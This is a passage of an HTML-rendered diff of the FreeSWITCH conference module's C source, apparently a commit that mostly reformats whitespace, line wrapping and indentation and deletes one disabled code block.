</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, &quot;is_moderator&quot;, count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_MOD) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, &quot;end_conference&quot;, count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_ENDCONF) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(conference-&gt;member_mutex);
</span><span class="lines">@@ -3650,13 +3650,13 @@
</span><span class="cx"> 
</span><span class="cx">         x_conferences = switch_xml_new(&quot;conferences&quot;);
</span><span class="cx">         switch_assert(x_conferences);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (conference == NULL) {
</span><span class="cx">                 switch_mutex_lock(globals.hash_mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, globals.conference_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="cx">                         conference = (conference_obj_t *) val;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         x_conference = switch_xml_add_child_d(x_conferences, &quot;conference&quot;, off++);
</span><span class="cx">                         switch_assert(conference);
</span><span class="cx"> 
</span><span class="lines">@@ -4009,7 +4009,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (conference) {
</span><span class="cx">                 conference_outcall_bg(conference, NULL, NULL, argv[2], 60, NULL, argv[4], argv[3], uuid_str);
</span><span class="cx">         } else {
</span><span class="lines">@@ -4049,7 +4049,7 @@
</span><span class="cx">                         switch_channel_t *channel;
</span><span class="cx">                         switch_event_t *event;
</span><span class="cx">                         switch_xml_t cxml = NULL, cfg = NULL, profiles = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!id || !(member = conference_member_get(conference, id))) {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;No Member %u in conference %s.\n&quot;, id, conference-&gt;name);
</span><span class="cx">                                 continue;
</span><span class="lines">@@ -4154,7 +4154,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         unlock_member(member);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;OK Member '%d' sent to conference %s.\n&quot;, member-&gt;id, argv[2]);
</span><span class="cx"> 
</span><span class="cx">                         /* tell them what happened */
</span><span class="lines">@@ -4177,7 +4177,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">   done:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (locked) {
</span><span class="cx">                 switch_mutex_unlock(globals.setup_mutex);
</span><span class="cx">                 locked = 0;
</span><span class="lines">@@ -4269,43 +4269,43 @@
</span><span class="cx"> /* API Interface Function sub-commands */
</span><span class="cx"> /* Entries in this list should be kept in sync with the enum above */
</span><span class="cx"> static api_command_t conf_api_sub_commands[] = {
</span><del>-        {&quot;list&quot;, (void_fn_t) &amp;conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; list [delim &lt;string&gt;]&quot;},
-        {&quot;xml_list&quot;, (void_fn_t) &amp;conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; xml_list&quot;},
-        {&quot;energy&quot;, (void_fn_t) &amp;conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;list&quot;, (void_fn_t) &amp; conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; list [delim &lt;string&gt;]&quot;},
+        {&quot;xml_list&quot;, (void_fn_t) &amp; conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; xml_list&quot;},
+        {&quot;energy&quot;, (void_fn_t) &amp; conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; energy &lt;member_id|all|last&gt; [&lt;newval&gt;]&quot;},
</span><del>-        {&quot;volume_in&quot;, (void_fn_t) &amp;conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;volume_in&quot;, (void_fn_t) &amp; conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; volume_in &lt;member_id|all|last&gt; [&lt;newval&gt;]&quot;},
</span><del>-        {&quot;volume_out&quot;, (void_fn_t) &amp;conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;volume_out&quot;, (void_fn_t) &amp; conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; volume_out &lt;member_id|all|last&gt; [&lt;newval&gt;]&quot;},
</span><del>-        {&quot;play&quot;, (void_fn_t) &amp;conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; play &lt;file_path&gt; [async|&lt;member_id&gt;]&quot;},
-        {&quot;say&quot;, (void_fn_t) &amp;conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, &quot;&lt;confname&gt; say &lt;text&gt;&quot;},
-        {&quot;saymember&quot;, (void_fn_t) &amp;conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
</del><ins>+        {&quot;play&quot;, (void_fn_t) &amp; conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; play &lt;file_path&gt; [async|&lt;member_id&gt;]&quot;},
+        {&quot;say&quot;, (void_fn_t) &amp; conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, &quot;&lt;confname&gt; say &lt;text&gt;&quot;},
+        {&quot;saymember&quot;, (void_fn_t) &amp; conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
</ins><span class="cx">          &quot;&lt;confname&gt; saymember &lt;member_id&gt; &lt;text&gt;&quot;},
</span><del>-        {&quot;stop&quot;, (void_fn_t) &amp;conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {&quot;stop&quot;, (void_fn_t) &amp; conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          &quot;&lt;confname&gt; stop &lt;[current|all|async|last]&gt; [&lt;member_id&gt;]&quot;},
</span><del>-        {&quot;dtmf&quot;, (void_fn_t) &amp;conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;dtmf&quot;, (void_fn_t) &amp; conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; dtmf &lt;[member_id|all|last]&gt; &lt;digits&gt;&quot;},
</span><del>-        {&quot;kick&quot;, (void_fn_t) &amp;conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; kick &lt;[member_id|all|last]&gt;&quot;},
-        {&quot;mute&quot;, (void_fn_t) &amp;conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; mute &lt;[member_id|all]|last&gt;&quot;},
-        {&quot;unmute&quot;, (void_fn_t) &amp;conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;kick&quot;, (void_fn_t) &amp; conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; kick &lt;[member_id|all|last]&gt;&quot;},
+        {&quot;mute&quot;, (void_fn_t) &amp; conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; mute &lt;[member_id|all]|last&gt;&quot;},
+        {&quot;unmute&quot;, (void_fn_t) &amp; conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; unmute &lt;[member_id|all]|last&gt;&quot;},
</span><del>-        {&quot;deaf&quot;, (void_fn_t) &amp;conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; deaf &lt;[member_id|all]|last&gt;&quot;},
-        {&quot;undeaf&quot;, (void_fn_t) &amp;conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {&quot;deaf&quot;, (void_fn_t) &amp; conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, &quot;&lt;confname&gt; deaf &lt;[member_id|all]|last&gt;&quot;},
+        {&quot;undeaf&quot;, (void_fn_t) &amp; conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          &quot;&lt;confname&gt; undeaf &lt;[member_id|all]|last&gt;&quot;},
</span><del>-        {&quot;relate&quot;, (void_fn_t) &amp;conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {&quot;relate&quot;, (void_fn_t) &amp; conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          &quot;&lt;confname&gt; relate &lt;member_id&gt; &lt;other_member_id&gt; [nospeak|nohear|clear]&quot;},
</span><del>-        {&quot;lock&quot;, (void_fn_t) &amp;conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; lock&quot;},
-        {&quot;unlock&quot;, (void_fn_t) &amp;conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; unlock&quot;},
-        {&quot;dial&quot;, (void_fn_t) &amp;conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {&quot;lock&quot;, (void_fn_t) &amp; conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; lock&quot;},
+        {&quot;unlock&quot;, (void_fn_t) &amp; conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; unlock&quot;},
+        {&quot;dial&quot;, (void_fn_t) &amp; conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          &quot;&lt;confname&gt; dial &lt;endpoint_module_name&gt;/&lt;destination&gt; &lt;callerid number&gt; &lt;callerid name&gt;&quot;},
</span><del>-        {&quot;bgdial&quot;, (void_fn_t) &amp;conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {&quot;bgdial&quot;, (void_fn_t) &amp; conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          &quot;&lt;confname&gt; bgdial &lt;endpoint_module_name&gt;/&lt;destination&gt; &lt;callerid number&gt; &lt;callerid name&gt;&quot;},
</span><del>-        {&quot;transfer&quot;, (void_fn_t) &amp;conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {&quot;transfer&quot;, (void_fn_t) &amp; conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          &quot;&lt;confname&gt; transfer &lt;conference_name&gt; &lt;member id&gt; [...&lt;member id&gt;]&quot;},
</span><del>-        {&quot;record&quot;, (void_fn_t) &amp;conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; record &lt;filename&gt;&quot;},
-        {&quot;norecord&quot;, (void_fn_t) &amp;conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; norecord &lt;[filename|all]&gt;&quot;},
-        {&quot;pin&quot;, (void_fn_t) &amp;conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; pin &lt;pin#&gt;&quot;},
-        {&quot;nopin&quot;, (void_fn_t) &amp;conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; nopin&quot;},
</del><ins>+        {&quot;record&quot;, (void_fn_t) &amp; conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; record &lt;filename&gt;&quot;},
+        {&quot;norecord&quot;, (void_fn_t) &amp; conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; norecord &lt;[filename|all]&gt;&quot;},
+        {&quot;pin&quot;, (void_fn_t) &amp; conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; pin &lt;pin#&gt;&quot;},
+        {&quot;nopin&quot;, (void_fn_t) &amp; conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, &quot;&lt;confname&gt; nopin&quot;},
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #define CONFFUNCAPISIZE (sizeof(conf_api_sub_commands)/sizeof(conf_api_sub_commands[0]))
</span><span class="lines">@@ -4553,8 +4553,10 @@
</span><span class="cx"> 
</span><span class="cx">         /* establish an outbound call leg */
</span><span class="cx"> 
</span><del>-        if (switch_ivr_originate(session, &amp;peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot create outgoing channel, cause: %s\n&quot;, switch_channel_cause2str(*cause));
</del><ins>+        if (switch_ivr_originate(session, &amp;peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) !=
+                SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot create outgoing channel, cause: %s\n&quot;,
+                                                  switch_channel_cause2str(*cause));
</ins><span class="cx">                 if (caller_channel) {
</span><span class="cx">                         switch_channel_hangup(caller_channel, *cause);
</span><span class="cx">                 }
</span><span class="lines">@@ -4639,7 +4641,7 @@
</span><span class="cx">         if (call) {
</span><span class="cx">                 switch_call_cause_t cause;
</span><span class="cx">                 switch_event_t *event;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 conference_outcall(call-&gt;conference, call-&gt;conference_name,
</span><span class="cx">                                                    call-&gt;session, call-&gt;bridgeto, call-&gt;timeout, call-&gt;flags, call-&gt;cid_name, call-&gt;cid_num, &amp;cause);
</span><span class="cx"> 
</span><span class="lines">@@ -4707,7 +4709,7 @@
</span><span class="cx">         if (conference_name) {
</span><span class="cx">                 call-&gt;conference_name = strdup(conference_name);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (call_uuid) {
</span><span class="cx">                 call-&gt;uuid = strdup(call_uuid);
</span><span class="cx">         }
</span><span class="lines">@@ -4722,7 +4724,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* Play a file */
</span><del>-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen)
</del><ins>+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+                                                                                                  uint32_t buflen)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t x = 0;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -4792,7 +4795,7 @@
</span><span class="cx">                 char *argv[10] = { 0 };
</span><span class="cx">                 int i, argc = 0;
</span><span class="cx"> 
</span><del>-                for(p = dup; p &amp;&amp; *p; p++) {
</del><ins>+                for (p = dup; p &amp;&amp; *p; p++) {
</ins><span class="cx">                         if (*p == ',') {
</span><span class="cx">                                 *p = '|';
</span><span class="cx">                         }
</span><span class="lines">@@ -4800,7 +4803,7 @@
</span><span class="cx"> 
</span><span class="cx">                 argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx"> 
</span><del>-                for(i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</del><ins>+                for (i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</ins><span class="cx">                         if (!strcasecmp(argv[i], &quot;mute&quot;)) {
</span><span class="cx">                                 *f &amp;= ~MFLAG_CAN_SPEAK;
</span><span class="cx">                         } else if (!strcasecmp(argv[i], &quot;deaf&quot;)) {
</span><span class="lines">@@ -4834,7 +4837,7 @@
</span><span class="cx">                 char *argv[10] = { 0 };
</span><span class="cx">                 int i, argc = 0;
</span><span class="cx"> 
</span><del>-                for(p = dup; p &amp;&amp; *p; p++) {
</del><ins>+                for (p = dup; p &amp;&amp; *p; p++) {
</ins><span class="cx">                         if (*p == ',') {
</span><span class="cx">                                 *p = '|';
</span><span class="cx">                         }
</span><span class="lines">@@ -4842,7 +4845,7 @@
</span><span class="cx"> 
</span><span class="cx">                 argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx"> 
</span><del>-                for(i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</del><ins>+                for (i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</ins><span class="cx">                         if (!strcasecmp(argv[i], &quot;wait-mod&quot;)) {
</span><span class="cx">                                 *f |= CFLAG_WAIT_MOD;
</span><span class="cx">                         } else if (!strcasecmp(argv[i], &quot;video-floor-only&quot;)) {
</span><span class="lines">@@ -4957,7 +4960,7 @@
</span><span class="cx"> 
</span><span class="cx"> static int setup_media(conference_member_t *member, conference_obj_t *conference)
</span><span class="cx"> {
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_get_read_impl(member-&gt;session, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_reset(member-&gt;session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="lines">@@ -5025,8 +5028,7 @@
</span><span class="cx">                                                            read_impl.microseconds_per_packet / 1000,
</span><span class="cx">                                                            1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, member-&gt;pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG,
</span><del>-                                                  &quot;Raw Codec Activation Success L16@%uhz 1 channel %dms\n&quot;,
-                                                  conference-&gt;rate, read_impl.microseconds_per_packet / 1000);
</del><ins>+                                                  &quot;Raw Codec Activation Success L16@%uhz 1 channel %dms\n&quot;, conference-&gt;rate, read_impl.microseconds_per_packet / 1000);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG, &quot;Raw Codec Activation Failed L16@%uhz 1 channel %dms\n&quot;,
</span><span class="cx">                                                   conference-&gt;rate, read_impl.microseconds_per_packet / 1000);
</span><span class="lines">@@ -5047,15 +5049,15 @@
</span><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> 
</span><del>- codec_done1:
</del><ins>+  codec_done1:
</ins><span class="cx">         switch_core_codec_destroy(&amp;member-&gt;read_codec);
</span><del>- codec_done2:
</del><ins>+  codec_done2:
</ins><span class="cx">         switch_core_codec_destroy(&amp;member-&gt;write_codec);
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return -1;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -5104,7 +5106,7 @@
</span><span class="cx"> 
</span><span class="cx">         if ((flags_str = strstr(mydata, flags_prefix))) {
</span><span class="cx">                 char *p;
</span><del>-                *((char *)flags_str) = '\0';
</del><ins>+                *((char *) flags_str) = '\0';
</ins><span class="cx">                 flags_str += strlen(flags_prefix);
</span><span class="cx">                 if ((p = strchr(flags_str, '}'))) {
</span><span class="cx">                         *p = '\0';
</span><span class="lines">@@ -5143,7 +5145,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 profile_name = &quot;default&quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> #if 0
</span><span class="cx">         if (0) {
</span><span class="cx">                 member.dtmf_parser = conference-&gt;dtmf_parser;
</span><span class="lines">@@ -5234,7 +5236,7 @@
</span><span class="cx">                 if (!conference) {
</span><span class="cx">                         /* couldn't find the conference, create one */
</span><span class="cx">                         conference = conference_new(conf_name, xml_cfg, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!conference) {
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="lines">@@ -5254,7 +5256,7 @@
</span><span class="cx">                         if (zstr(conference-&gt;perpetual_sound)) {
</span><span class="cx">                                 conference-&gt;perpetual_sound = switch_core_strdup(conference-&gt;pool, switch_channel_get_variable(channel, &quot;conference_perpetual_sound&quot;));
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* Set the minimum number of members (once you go above it you cannot go below it) */
</span><span class="cx">                         conference-&gt;min = 1;
</span><span class="cx"> 
</span><span class="lines">@@ -5263,7 +5265,7 @@
</span><span class="cx"> 
</span><span class="cx">                         /* Start the conference thread for this conference */
</span><span class="cx">                         launch_conference_thread(conference);
</span><del>-                } else { /* setup user variable */
</del><ins>+                } else {                                /* setup user variable */
</ins><span class="cx">                         switch_channel_set_variable(channel, &quot;conference_name&quot;, conference-&gt;name);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -5290,23 +5292,23 @@
</span><span class="cx"> 
</span><span class="cx">                         /* Answer the channel */
</span><span class="cx">                         switch_channel_answer(channel);
</span><del>-                        
-                        /* look for PIN in channel variable first.  If not present or invalid revert to prompting user */ 
</del><ins>+
+                        /* look for PIN in channel variable first.  If not present or invalid revert to prompting user */
</ins><span class="cx">                         supplied_pin_value = switch_core_strdup(conference-&gt;pool, switch_channel_get_variable(channel, &quot;supplied_pin&quot;));
</span><del>-                        if (!zstr(supplied_pin_value)){
</del><ins>+                        if (!zstr(supplied_pin_value)) {
</ins><span class="cx">                                 char *supplied_pin_value_start;
</span><span class="cx">                                 int i = 0;
</span><del>-                                if ((supplied_pin_value_start = (char *)switch_stristr(cf_pin_url_param_name, supplied_pin_value))){
</del><ins>+                                if ((supplied_pin_value_start = (char *) switch_stristr(cf_pin_url_param_name, supplied_pin_value))) {
</ins><span class="cx">                                         /* pin supplied as a URL parameter, move pointer to start of actual pin value */
</span><span class="cx">                                         supplied_pin_value = supplied_pin_value_start + strlen(cf_pin_url_param_name);
</span><span class="cx">                                 }
</span><del>-                                while (*supplied_pin_value != 0 &amp;&amp; *supplied_pin_value != ';'){
</del><ins>+                                while (*supplied_pin_value != 0 &amp;&amp; *supplied_pin_value != ';') {
</ins><span class="cx">                                         pin_buf[i++] = *supplied_pin_value++;
</span><span class="cx">                                 }
</span><span class="cx">                                 pin_valid = (strcmp(pin_buf, dpin) == 0);
</span><span class="cx">                                 memset(pin_buf, 0, sizeof(pin_buf));
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!conference-&gt;pin_sound) {
</span><span class="cx">                                 conference-&gt;pin_sound = switch_core_strdup(conference-&gt;pool, &quot;conference/conf-pin.wav&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -5317,16 +5319,17 @@
</span><span class="cx"> 
</span><span class="cx">                         while (!pin_valid &amp;&amp; pin_retries &amp;&amp; status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_status_t pstatus = SWITCH_STATUS_FALSE;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* be friendly */
</span><span class="cx">                                 if (conference-&gt;pin_sound) {
</span><span class="cx">                                         pstatus = conference_local_play_file(conference, session, conference-&gt;pin_sound, 20, pin_buf, sizeof(pin_buf));
</span><span class="cx">                                 } else if (conference-&gt;tts_engine &amp;&amp; conference-&gt;tts_voice) {
</span><del>-                                        pstatus = switch_ivr_speak_text(session, conference-&gt;tts_engine, conference-&gt;tts_voice, &quot;please enter the conference pin number&quot;, NULL);
</del><ins>+                                        pstatus =
+                                                switch_ivr_speak_text(session, conference-&gt;tts_engine, conference-&gt;tts_voice, &quot;please enter the conference pin number&quot;, NULL);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         pstatus = switch_ivr_speak_text(session, &quot;flite&quot;, &quot;slt&quot;, &quot;please enter the conference pin number&quot;, NULL);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (pstatus != SWITCH_STATUS_SUCCESS &amp;&amp; pstatus != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot ask the user for a pin, ending call&quot;);
</span><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -5336,11 +5339,10 @@
</span><span class="cx">                                 if (strlen(pin_buf) &lt; strlen(dpin)) {
</span><span class="cx">                                         char *buf = pin_buf + strlen(pin_buf);
</span><span class="cx">                                         char term = '\0';
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         status = switch_ivr_collect_digits_count(session,
</span><span class="cx">                                                                                                                          buf,
</span><del>-                                                                                                                         sizeof(pin_buf) - strlen(pin_buf),
-                                                                                                                         strlen(dpin) - strlen(pin_buf), &quot;#&quot;, &amp;term, 10000, 0, 0);
</del><ins>+                                                                                                                         sizeof(pin_buf) - strlen(pin_buf), strlen(dpin) - strlen(pin_buf), &quot;#&quot;, &amp;term, 10000, 0, 0);
</ins><span class="cx">                                         if (status == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                         }
</span><span class="lines">@@ -5441,7 +5443,7 @@
</span><span class="cx">         if (mflags &amp; MFLAG_MINTWO) {
</span><span class="cx">                 conference-&gt;min = 2;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Add the caller to the conference */
</span><span class="cx">         if (conference_add_member(conference, &amp;member) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;member.read_codec);
</span><span class="lines">@@ -5626,20 +5628,10 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-#if 0
-                else {
-                        if (strcasecmp(argv[0], &quot;help&quot;) == 0 || strcasecmp(argv[0], &quot;commands&quot;) == 0) {
-                                stream.write_function(&amp;stream, &quot;%s\n&quot;, api_syntax);
-                                /* find a normal command */
-                        } else {
-                                conf_api_dispatch(conference, &amp;stream, argc, argv, (const char *) body, 0);
-                        }
-                }
-#endif
</del><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(lbuf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_chat_send(proto, CONF_CHAT_PROTO, to, hint &amp;&amp; strchr(hint, '/') ? hint : from, &quot;&quot;, stream.data, NULL, NULL);
</span><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx"> 
</span><span class="lines">@@ -5792,126 +5784,126 @@
</span><span class="cx"> 
</span><span class="cx">         /* parse the profile tree for param values */
</span><span class="cx">         if (cfg.profile)
</span><del>-        for (xml_kvp = switch_xml_child(cfg.profile, &quot;param&quot;); xml_kvp; xml_kvp = xml_kvp-&gt;next) {
-                char *var = (char *) switch_xml_attr_soft(xml_kvp, &quot;name&quot;);
-                char *val = (char *) switch_xml_attr_soft(xml_kvp, &quot;value&quot;);
-                char buf[128] = &quot;&quot;;
-                char *p;
</del><ins>+                for (xml_kvp = switch_xml_child(cfg.profile, &quot;param&quot;); xml_kvp; xml_kvp = xml_kvp-&gt;next) {
+                        char *var = (char *) switch_xml_attr_soft(xml_kvp, &quot;name&quot;);
+                        char *val = (char *) switch_xml_attr_soft(xml_kvp, &quot;value&quot;);
+                        char buf[128] = &quot;&quot;;
+                        char *p;
</ins><span class="cx"> 
</span><del>-                if ((p = strchr(var, '_'))) {
-                        switch_copy_string(buf, var, sizeof(buf));
-                        for (p = buf; *p; p++) {
-                                if (*p == '_') {
-                                        *p = '-';
</del><ins>+                        if ((p = strchr(var, '_'))) {
+                                switch_copy_string(buf, var, sizeof(buf));
+                                for (p = buf; *p; p++) {
+                                        if (*p == '_') {
+                                                *p = '-';
+                                        }
</ins><span class="cx">                                 }
</span><ins>+                                var = buf;
</ins><span class="cx">                         }
</span><del>-                        var = buf;
-                }
</del><span class="cx"> 
</span><del>-                if (!strcasecmp(var, &quot;rate&quot;) &amp;&amp; !zstr(val)) {
-                        uint32_t tmp = atoi(val);
-                        if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
-                                rate = tmp;
</del><ins>+                        if (!strcasecmp(var, &quot;rate&quot;) &amp;&amp; !zstr(val)) {
+                                uint32_t tmp = atoi(val);
+                                if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
+                                        rate = tmp;
+                                }
+                        } else if (!strcasecmp(var, &quot;domain&quot;) &amp;&amp; !zstr(val)) {
+                                domain = val;
+                        } else if (!strcasecmp(var, &quot;interval&quot;) &amp;&amp; !zstr(val)) {
+                                uint32_t tmp = atoi(val);
+                                if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
+                                        interval = tmp;
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                          &quot;Interval must be multipe of 10 and less than %d, Using default of 20\n&quot;, SWITCH_MAX_INTERVAL);
